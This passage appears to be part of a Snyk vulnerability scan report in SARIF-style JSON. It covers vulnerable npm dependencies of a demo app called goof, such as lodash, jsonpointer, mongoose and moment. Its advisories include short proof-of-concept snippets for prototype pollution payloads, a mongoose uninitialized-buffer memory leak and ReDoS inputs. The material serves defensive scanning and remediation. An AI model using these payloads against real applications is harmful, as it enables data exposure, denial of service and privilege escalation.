'yes')\r\n\r\nconsole.log({}.polluted)\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for exam" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-JSONPOINTER-1577288", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in jsonpointer" + }, + "fullDescription": { + "text": "(CVE-2021-23807) jsonpointer@4.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jsonpointer\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › is-my-json-valid@2.19.0 › jsonpointer@4.0.1\n# Overview\n[jsonpointer](https://www.npmjs.com/package/jsonpointer) is a Simple JSON Addressing.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.\r\n\r\n## PoC\r\n\r\n```\r\nconst jsonpointer = require('jsonpointer');\r\n\r\n// jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');\r\n// console.log(polluted); // ReferenceError: polluted is not defined\r\n\r\njsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');\r\nconsole.log(polluted); // yes\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For m" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "SNYK-JS-LODASH-73638", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2018-16487) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1 and lodash@4.17.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The functions `merge`, `mergeWith`, and `defaultsDeep` could be tricked into adding or modifying properties of `Object.prototype`. This is due to an incomplete fix to `CVE-2018-3721`.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/p" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:brace-expansion:20170302", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in brace-expansion" + }, + "fullDescription": { + "text": "(CVE-2017-18077) brace-expansion@1.1.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: brace-expansion\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0 › brace-expansion@1.1.4\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0 › brace-expansion@1.1.4\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › glob@7.0.3 › minimatch@3.0.0 › brace-expansion@1.1.4\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › glob@5.0.15 › minimatch@2.0.10 › brace-expansion@1.1.4\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › minimatch@2.0.10 › brace-expansion@1.1.4\n# Overview\r\n[`brace-expansion`](https://www.npmjs.com/package/brace-expansion) is a package that performs brace expansion as known from sh/bash.\r\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\r\n\r\n\r\n# Remediation\r\nUpgrade `brace-expansion` to version 1.1.7 or higher.\r\n\r\n# References\r\n- [GitHub PR](https://github.com/juliangruber/brace-expansion/pull/35)\r\n- [GitHub Issue](https://github.com/juliangruber/brace-expansion/issues/33)\r\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3)" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 6.2, + "security-severity": "6.2" + } + }, + { + "id": "npm:mongoose:20160116", + "shortDescription": { + "text": "Medium severity - Remote Memory Exposure vulnerability in mongoose" + }, + "fullDescription": { + "text": "mongoose@4.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mongoose\n* Introduced through: goof@1.0.1 and mongoose@4.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4\n# Overview\r\nA potential memory disclosure vulnerability exists in mongoose.\r\nA `Buffer` field in a MongoDB document can be used to expose sensitive\r\ninformation such as code, runtime memory and user data into MongoDB.\r\n\r\n# Details\r\nInitializing a `Buffer` field in a document with integer `N` creates a `Buffer`\r\nof length `N` with non zero-ed out memory.\r\n\r\n**Example:**\r\n```\r\nvar x = new Buffer(100); // uninitialized Buffer of length 100\r\n// vs\r\nvar x = new Buffer('100'); // initialized Buffer with value of '100'\r\n```\r\nInitializing a MongoDB document field in such manner will dump uninitialized\r\nmemory into MongoDB.\r\nThe patch wraps `Buffer` field initialization in mongoose by converting a\r\n`number` value `N` to array `[N]`, initializing the `Buffer` with `N` in its\r\nbinary form.\r\n\r\n# Proof of concept\r\n```javascript\r\nvar mongoose = require('mongoose');\r\nmongoose.connect('mongodb://localhost/bufftest');\r\n\r\n// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html\r\nmongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));\r\n\r\nvar Item = mongoose.model('Item');\r\n\r\nvar sample = new Item();\r\nsample.id = 'item1';\r\n\r\n// This will create an uninitialized buffer of size 100\r\nsample.data = 100;\r\nsample.save(function () {\r\n Item.findOne(function (err, result) {\r\n // Print out the data (exposed memory)\r\n console.log(result.data.toString('ascii'))\r\n mongoose.connection.db.dropDatabase(); // Clean up everything\r\n process.exit();\r\n });\r\n});\r\n```\n\n# References\n- [https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md](https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md)\n- [https://github.com/ChALkeR/notes/blob/master/Lets-fix-Buffer-API.md%23previous-materials](https://github.com/ChALkeR/notes/blob/master/Lets-fix-Buffer-API.md%23previous-materials)\n- [https://github.com/Automattic/mongoose/issues/3764](https://github.com/Automattic/mongoose/issues/3764)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-201", + "npm" + ], + "cvssv3_baseScore": 5.1, + "security-severity": "5.1" + } + }, + { + "id": "SNYK-JS-KERBEROS-568900", + "shortDescription": { + "text": "High severity - DLL Injection vulnerability in kerberos" + }, + "fullDescription": { + "text": "(CVE-2020-13110) kerberos@0.0.24" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: kerberos\n* Introduced through: goof@1.0.1, mongoose@4.2.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mongodb@2.0.46 › mongodb-core@1.2.19 › kerberos@0.0.24\n# Overview\n\nAffected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.\n# Remediation\nUpgrade `kerberos` to version 1.0.0 or higher.\n# References\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1514)\n- [PoC](https://medium.com/@kiddo_Ha3ker/dll-injection-attack-in-kerberos-npm-package-cb4b32031cd)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-114", + "npm" + ], + "cvssv3_baseScore": 8.4, + "security-severity": "8.4" + } + }, + { + "id": "npm:moment:20170905", + "shortDescription": { + "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in moment" + }, + "fullDescription": { + "text": "(CVE-2017-18214) moment@2.15.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: moment\n* Introduced through: goof@1.0.1 and moment@2.15.1\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › moment@2.15.1\n# Overview\n[moment](https://www.npmjs.com/package/moment) is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (`/[0-9]*['a-z\\u00A0-\\u05FF\\u0700-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]+|[\\u0600-\\u06FF\\/]+(\\s*?[\\u0600-\\u06FF]+){1,2}/i`) in order to parse dates specified as strings. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `moment` to version 2.19.3 or higher.\n# References\n- [GitHub Issue](https://github.com/moment/moment/issues/4163)\n- [GitHub PR](https://github.com/moment/moment/pull/4326)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 3.7, + "security-severity": "3.7" + } + }, + { + "id": "SNYK-JS-MONGOOSE-472486", + "shortDescription": { + "text": "Medium severity - Information Exposure vulnerability in mongoose" + }, + "fullDescription": { + "text": "(CVE-2019-17426) mongoose@4.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mongoose\n* Introduced through: goof@1.0.1 and mongoose@4.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4\n# Overview\n[mongoose](https://www.npmjs.com/package/mongoose) is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Information Exposure. Any query object with a `_bsontype` attribute is ignored, allowing attackers to bypass access control.\n# Remediation\nUpgrade `mongoose` to version 4.13.21, 5.7.5 or higher.\n# References\n- [GitHub Commit](https://github.com/Automattic/mongoose/commit/f3eca5b94d822225c04e96cbeed9f095afb3c31c)\n- [GitHub Issue](https://github.com/Automattic/mongoose/issues/8222)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-200", + "npm" + ], + "cvssv3_baseScore": 5.9, + "security-severity": "5.9" + } + }, + { + "id": "npm:lodash:20180130", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2018-3721) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1 and lodash@4.17.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the `Object` prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property. \r\n\r\n# PoC by Olivier Arteau (HoLyVieR)\r\n```js\r\nvar _= require('lodash');\r\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\r\n\r\nvar a = {};\r\nconsole.log(\"Before : \" + a.oops);\r\n_.merge({}, JSON.parse(malicious_payload));\r\nconsole.log(\"After : \" + a.oops);\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
